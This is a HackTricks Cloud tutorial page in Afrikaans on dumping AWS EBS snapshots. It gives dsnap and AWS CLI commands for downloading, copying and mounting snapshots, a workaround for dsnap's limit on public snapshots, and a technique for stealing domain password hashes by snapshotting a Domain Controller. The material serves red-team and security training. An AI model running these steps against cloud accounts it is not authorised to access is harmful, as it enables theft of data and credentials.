AWS - EBS Snapshot Dump
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Kontroleer ’n snapshot plaaslik
# Install dependencies
pip install 'dsnap[cli]'
brew install vagrant
brew install virtualbox
# Get snapshot from image
mkdir snap_wordir; cd snap_workdir
dsnap init
## Download a snapshot of the volume of that instance
## If no snapshot existed it will try to create one
dsnap get <instance-id>
dsnap --profile default --region eu-west-1 get i-0d706e33814c1ef9a
## Other way to get a snapshot
dsnap list #List snapshots
dsnap get snap-0dbb0347f47e38b96 #Download snapshot directly
# Run with vagrant
IMAGE="<download_file>.img" vagrant up #Run image with vagrant+virtuabox
IMAGE="<download_file>.img" vagrant ssh #Access the VM
vagrant destroy #To destoy
# Run with docker
git clone https://github.com/RhinoSecurityLabs/dsnap.git
cd dsnap
make docker/build
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded
Caution
Let wel dat
dsnapjou nie sal toelaat om openbare snappings af te laai nie. Om dit te omseil, kan jy ’n kopie van die snapshot in jou persoonlike rekening maak, en dit aflaai:
# Copy the snapshot
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"
# View the snapshot info
aws ec2 describe-snapshots --owner-ids self --region us-east-2
# Download the snapshot. The ID is the copy from your account
dsnap --region us-east-2 get snap-027da41be451109da
# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
Vir meer inligting oor hierdie tegniek, kyk na die oorspronklike navorsing in https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/
Jy kan dit met Pacu doen deur die module ebs__download_snapshots te gebruik.
Kontroleer ’n snapshot in AWS
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
Monteer dit in ’n EC2 VM onder jou beheer (dit moet in dieselfde streek wees as die kopie van die rugsteun):
Stap 1: ’n Nuwe volume van jou verkiesde grootte en tipe moet geskep word deur na EC2 –> Volumes te gaan.
Om hierdie aksie uit te voer, volg hierdie opdragte:
- Skep ’n EBS-volume om aan die EC2-instantie te koppel.
- Verseker dat die EBS-volume en die instantie in dieselfde sone is.
Stap 2: Die “koppel volume” opsie moet gekies word deur regs te klik op die geskepte volume.
Stap 3: Die instantie uit die instantie teksvak moet gekies word.
Om hierdie aksie uit te voer, gebruik die volgende opdrag:
- Koppel die EBS-volume.
Stap 4: Teken in op die EC2-instantie en lys die beskikbare skywe met die opdrag lsblk.
Stap 5: Kontroleer of die volume enige data het met die opdrag sudo file -s /dev/xvdf.
As die uitvoer van die bogenoemde opdrag “/dev/xvdf: data” toon, beteken dit dat die volume leeg is.
Stap 6: Formateer die volume na die ext4 lêerstelsel met die opdrag sudo mkfs -t ext4 /dev/xvdf. Alternatiewelik kan jy ook die xfs-formaat gebruik deur die opdrag sudo mkfs -t xfs /dev/xvdf te gebruik. Neem asseblief kennis dat jy óf ext4 óf xfs moet gebruik.
Stap 7: Skep ’n gids van jou keuse om die nuwe ext4-volume te monteer. Byvoorbeeld, jy kan die naam “newvolume” gebruik.
Om hierdie aksie uit te voer, gebruik die opdrag sudo mkdir /newvolume.
Stap 8: Monteer die volume na die “newvolume” gids met die opdrag sudo mount /dev/xvdf /newvolume/.
Stap 9: Verander gids na die “newvolume” gids en kontroleer die skyfspasie om die volume-montage te valideer.
Om hierdie aksie uit te voer, gebruik die volgende opdragte:
- Verander gids na
/newvolume. - Kontroleer die skyfspasie met die opdrag
df -h .. Die uitvoer van hierdie opdrag moet die vrye spasie in die “newvolume” gids toon.
Jy kan dit met Pacu doen deur die module ebs__explore_snapshots te gebruik.
Kontroleer ’n snapshot in AWS (met cli)
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>
# Attach new volume to instance
aws ec2 attach-volume --device /dev/sdh --instance-id <INSTANCE-ID> --volume-id <VOLUME-ID>
# mount the snapshot from within the VM
sudo file -s /dev/sdh
/dev/sdh: symbolic link to `xvdh'
sudo file -s /dev/xvdh
/dev/xvdh: x86 boot sector; partition 1: ID=0xee, starthead 0, startsector 1, 16777215 sectors, extended partition table (last)\011, code offset 0x63
lsblk /dev/xvdh
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvdh 202:112 0 8G 0 disk
├─xvdh1 202:113 0 7.9G 0 part
├─xvdh14 202:126 0 4M 0 part
└─xvdh15 202:127 0 106M 0 part
sudo mount /dev/xvdh1 /mnt
ls /mnt
Shadow Copy
Enige AWS-gebruiker wat die EC2:CreateSnapshot toestemming het, kan die hashes van alle domein gebruikers steel deur ’n snapshot van die Domeinbeheerder te skep, dit aan ’n instansie wat hulle beheer te koppel en die NTDS.dit en SYSTEM registrasie hives lêer te eksporteer vir gebruik met Impacket se secretsdump projek.
Jy kan hierdie hulpmiddel gebruik om die aanval te outomatiseer: https://github.com/Static-Flow/CloudCopy of jy kan een van die vorige tegnieke gebruik nadat jy ’n snapshot geskep het.
References
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

